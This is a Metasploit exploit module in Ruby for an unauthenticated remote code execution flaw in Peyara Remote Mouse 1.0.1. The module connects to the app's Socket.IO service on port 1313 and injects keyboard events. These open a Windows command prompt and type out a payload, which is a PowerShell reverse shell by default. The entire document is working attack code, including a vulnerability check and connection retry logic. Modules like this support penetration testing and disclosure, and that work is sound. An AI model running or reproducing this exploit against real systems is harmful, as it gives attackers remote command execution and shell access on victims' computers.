Peyara Remote Mouse 1.0.1 Unauthenticated Remote Code Execution

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Rex::Proto::Http::WebSocket
  prepend Msf::Exploit::Remote::AutoCheck

  # Engine.IO / Socket.IO packet types exchanged as plain WebSocket text frames.
  # See: https://socket.io/docs/v4/engine-io-protocol/ and
  #      https://socket.io/docs/v4/socket-io-protocol/
  ENGINEIO_OPEN = '0'         # Engine.IO OPEN (handshake) packet
  ENGINEIO_CLOSE = '1'        # Engine.IO CLOSE packet
  ENGINEIO_PING = '2'         # Engine.IO PING packet
  ENGINEIO_PONG = '3'         # Engine.IO PONG packet
  SOCKETIO_CONNECT = '40'     # Engine.IO MESSAGE (4) + Socket.IO CONNECT (0)
  SOCKETIO_EVENT = '42'       # Engine.IO MESSAGE (4) + Socket.IO EVENT (2)

  # Fixed delay (seconds) after launching the command prompt, giving the
  # window time to appear before keystrokes are typed into it.
  WINDOW_DELAY = 1.0

  # Peyara serves a single Engine.IO session at a time and keeps a dropped one
  # alive until its ping timeout, so a fresh connection can briefly fail to get
  # the OPEN frame. Retry the connect until the previous session is released.
  CONNECT_RETRIES = 10
  CONNECT_RETRY_DELAY = 3

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Peyara Remote Mouse 1.0.1 Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability
          in Peyara Remote Mouse 1.0.1. The application exposes a Socket.IO
          WebSocket service on TCP port 1313 and accepts unauthenticated keyboard
          input events.

          The module sends keyboard events to open the Windows command prompt and
          type a Metasploit command payload, allowing arbitrary command execution
          in the context of the user running Peyara Remote Mouse.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'tmrswrr' # Vulnerability discovery, original PoC, and Metasploit module
        ],
        'References' => [
          ['URL', 'https://github.com/capture0x/Peyara'],
          ['URL', 'https://peyara-remote-mouse.vercel.app/']
        ],
        'DisclosureDate' => '2025-05-30',
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 1313,
          'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp',
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path for the Socket.IO endpoint', '/']),
        OptFloat.new('KEY_DELAY', [true, 'Delay between keyboard events in seconds', 0.06]),
        OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations in seconds', 5])
      ]
    )
  end

  def recv_wstext(wsock)
    frame = nil

    begin
      # TODO: R7 engineers may want a pattern that avoids the Timeout API here.
      ::Timeout.timeout(datastore['WS_TIMEOUT']) do
        frame = wsock.get_wsframe
      end
    rescue ::Timeout::Error
      return nil
    end

    return nil unless frame

    frame.unmask! if frame.header.masked == 1
    frame.payload_data.to_s
  end

  # Performs the Socket.IO namespace connect handshake on an open WebSocket and
  # returns true once the server acknowledges with a CONNECT packet.
  def socketio_connect(wsock)
    wsock.put_wstext(SOCKETIO_CONNECT)

    3.times do
      frame = recv_wstext(wsock)
      next if frame.nil?

      wsock.put_wstext(ENGINEIO_PONG) if frame == ENGINEIO_PING
      return true if frame.start_with?(SOCKETIO_CONNECT)
    end

    false
  end

  # Close the Engine.IO session before dropping the socket. Without the explicit
  # CLOSE packet the server keeps the session alive until its ping timeout, which
  # blocks the next connection (for example check() followed by exploit()).
  def close_session(wsock)
    return unless wsock

    begin
      wsock.put_wstext(ENGINEIO_CLOSE)
    rescue StandardError
      nil
    ensure
      wsock.wsclose
    end
  end

  def send_event(wsock, event, data)
    wsock.put_wstext("#{SOCKETIO_EVENT}#{JSON.generate([event, data])}")
    Rex.sleep(datastore['KEY_DELAY'])
  end

  def press_key(wsock, key)
    send_event(wsock, 'key', key)
  end

  def open_command_prompt(wsock)
    send_event(wsock, 'edit-key', { 'key' => 'escape', 'modifier' => ['control'] })
    Rex.sleep(0.5)

    %w[c m d enter].each do |key|
      press_key(wsock, key)
    end

    Rex.sleep(WINDOW_DELAY)
    press_key(wsock, 'enter')
    Rex.sleep(0.5)
  end

  # Open a fresh Engine.IO session and return the socket once the server sends
  # the OPEN frame, retrying while a previous (still lingering) session blocks it.
  def open_socketio_session
    CONNECT_RETRIES.times do |attempt|
      # connect_ws issues the upgrade through send_request_raw, which does not
      # render vars_get, so the Engine.IO query has to live in the request URI.
      wsock = connect_ws('uri' => "#{normalize_uri(target_uri.path, 'socket.io/')}?EIO=4&transport=websocket")
      return wsock if recv_wstext(wsock)&.start_with?(ENGINEIO_OPEN)

      close_session(wsock)
      Rex.sleep(CONNECT_RETRY_DELAY) unless attempt == CONNECT_RETRIES - 1
    end

    nil
  end

  def check
    wsock = open_socketio_session

    return CheckCode::Safe('The service did not return the expected Socket.IO open frame') unless wsock

    # An Engine.IO open frame alone is common to any Socket.IO service, so also
    # require a successful Socket.IO namespace connect to reduce false positives.
    return CheckCode::Appears('The service completed a Socket.IO namespace connect handshake') if socketio_connect(wsock)

    CheckCode::Detected('An Engine.IO service is present but did not complete the Socket.IO connect handshake')
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    CheckCode::Unknown("WebSocket connection failed: #{e.message}")
  ensure
    close_session(wsock)
  end

  def exploit
    print_status('Connecting to the Socket.IO WebSocket endpoint')
    wsock = open_socketio_session
    fail_with(Failure::Unreachable, 'The service did not return the expected Socket.IO open frame') unless wsock

    fail_with(Failure::UnexpectedReply, 'The Socket.IO namespace connect was not acknowledged') unless socketio_connect(wsock)

    print_status('Opening command prompt through remote keyboard events')
    open_command_prompt(wsock)

    command = payload.encoded
    print_status("Sending payload command (#{command.length} bytes)")

    # Type the command one character at a time. Batching characters into a single
    # "key" event makes the target collapse repeated keys (e.g. "ll", "dd") and
    # garble bursts; one event per character (space included, as a literal " ")
    # is what types the payload reliably.
    command.each_char { |ch| press_key(wsock, ch) }

    Rex.sleep(WINDOW_DELAY)
    press_key(wsock, 'enter')

    handler
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
  ensure
    close_session(wsock)
  end
end